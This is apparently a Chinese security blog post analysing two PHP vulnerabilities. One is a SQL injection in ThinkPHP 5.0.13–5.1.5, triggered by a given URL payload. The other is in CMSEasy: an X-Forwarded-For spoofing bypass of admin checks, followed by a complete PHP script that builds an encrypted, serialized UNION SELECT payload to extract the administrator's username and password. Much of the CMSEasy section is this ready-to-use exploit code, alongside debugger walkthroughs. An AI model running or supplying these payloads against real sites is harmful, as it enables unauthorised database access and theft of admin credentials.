这里写目录标题
Thinkphp
介绍
ThinkPHP是一个开源的PHP框架,它是中国的一个流行Web开发框架。ThinkPHP的设计理念主要是“快速开发”,它提供了一系列简化开发者工作的工具和特性,如MVC(模型-视图-控制器)架构、自动加载机制、数据库操作层、表单处理、模板引擎等。
漏洞介绍
本次注入漏洞存在于 Builder 类的 parseData 方法中,漏洞影响版本: 5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5
实现
我采用的是thinkphp5.0.15版本,我将thinkphp搭建在了php_study上。
访问
http://127.0.0.1/tp5015/public/index.php?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
即可触发相应的SQL注入漏洞(注意一定要开启thinkphp的debug功能模块,不然看不到SQL注入的信息)
代码追踪
我们可以看更新的一个版本,看到底更新了啥内容,我们发现了一个安全更新,更新在了Bulider.php这个文件里面。
进行php的断点调试
我们将断点下在application/index/index.php,进入到,单步调试insert方法里面
在次单步调试进入到bulider的insert方法里面,发现,在insert方法调用得是parseData方法来处理数据。
单步调试到parseData方法里面,我们传递了三个值,可以清楚的看到程序进入到了inc下,实现了拼接
最后,将处理的数据传data填充到了SQL语句中,造成了SQL注入漏洞。
cmseasy
未授权访问
我们在/lib/admin/admin.php发现了当用户IP和服务器IP相同且ishtml=1的话,就能不执行check_admin,造成未授权访问到config目录中。当然用户的IP地址是可以通过x-forwarded-for进行伪造。
我们打开火狐浏览器下载x-forwarded-for进行登录,就可以直接登录到config目录拿cookie安全码。当然其他的目录是无法访问的,因为我们只是进入到了config目录。
注入的实现
分析代码可以看到当拿到安全码,然后通过
front::$args
的base64的解码,解密完之后再利用
xxtea_decrypt
这个函数进行解密。最后将这个参数进行了反序列化传入到
getrow
中。
写注入语句就很简单了,我们只需要先base64加密、xxtea_encrypt加密、序列化就可以。(因为cmseasy是开源的有xxtea_decrypt解密函数就有xxtea_encrypt加密函数)
<?php
$key='464a2d6272b97e0228c6b0fd1b7290d8';$table= array('userid`=-1 union select 1,concat(username,0x23,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from cmseasy_user limit 0,1#'=>1);echo base64_encode(xxtea_encrypt(serialize($table), $key));function xxtea_encrypt($str, $key){if($str==""){return"";}$v= str2long($str, true);$k= str2long($key, false);if(count($k)<4){for($i= count($k);$i<4;$i++){$k[$i]=0;}}$n= count($v) - 1;$z=$v[$n];$y=$v[0];$delta= 0x9E3779B9;$q= floor(6 + 52 / ($n + 1));$sum=0;while(0<$q--){$sum= int32($sum + $delta);$e=$sum>>2&3;for($p=0;$p<$n;$p++){$y=$v[$p + 1];$mx= int32((($z >>5&0x07ffffff)^ $y <<2)+(($y >>3&0x1fffffff)^ $z <<4)) ^ int32(($sum ^ $y)+($k[$p &3^ $e] ^ $z));$z=$v[$p]= int32($v[$p] + $mx);}$y=$v[0];$mx= int32((($z >>5&0x07ffffff)^ $y <<2)+(($y >>3&0x1fffffff)^ $z <<4)) ^ int32(($sum ^ $y)+($k[$p &3^ $e] ^ $z));$z=$v[$n]= int32($v[$n] + $mx);}return long2str($v, false);}function long2str($v, $w){$len= count($v);$n=($len - 1)<<2;if($w){$m=$v[$len - 1];if(($m < $n -3)||($m > $n))returnfalse;$n=$m;}$s= array();for($i=0;$i<$len;$i++){$s[$i]= pack("V", $v[$i]);}if($w){return substr(join('', $s), 0, $n);}else{return join('', $s);}}function str2long($s, $w){$v= unpack("V*", $s. str_repeat("\0", (4 - strlen($s) % 4)&3));$v= array_values($v);if($w){$v[count($v)]= strlen($s);}return$v;}function int32($n){while($n>=2147483648)$n -=4294967296;while($n<= -2147483649)$n+=4294967296;return(int)$n;}
当代码运行之后会得到一个字符串。
将这个字符串复制给args进行传参就会得到管理员账号和密码(在url传参的时候
+
和
/
要书写成urlencode编码)
代码追踪
通过断点调试可以看出args传入的值,我们在单步调试进入getrow方法中看到了反序列化的结果
当我们在单步调试进入condition里面发现,如果传入的不是数组,就会走到下面的正则导致注入的失败,所以在写代码的时候将数据写入到一个数组里面。
在往下走发现将key和value进行了拼接,key用的是反引号闭合所以在写代码的时候再userid后面加了一个反引号,用来闭合这边的反引号。
走到这里可以看到condition已经变成了这样,我们的userid成功的实现了闭合
我们在单步调试进入到rec_select_one里面,在单步调试到sql_select里面进行了拼接
最后将row进行了返回,实现了sql注入。
最后将注入到的内容放到了cookie里面
版权归原作者 勤劳的鼹鼠 所有, 如有侵权,请联系我们删除。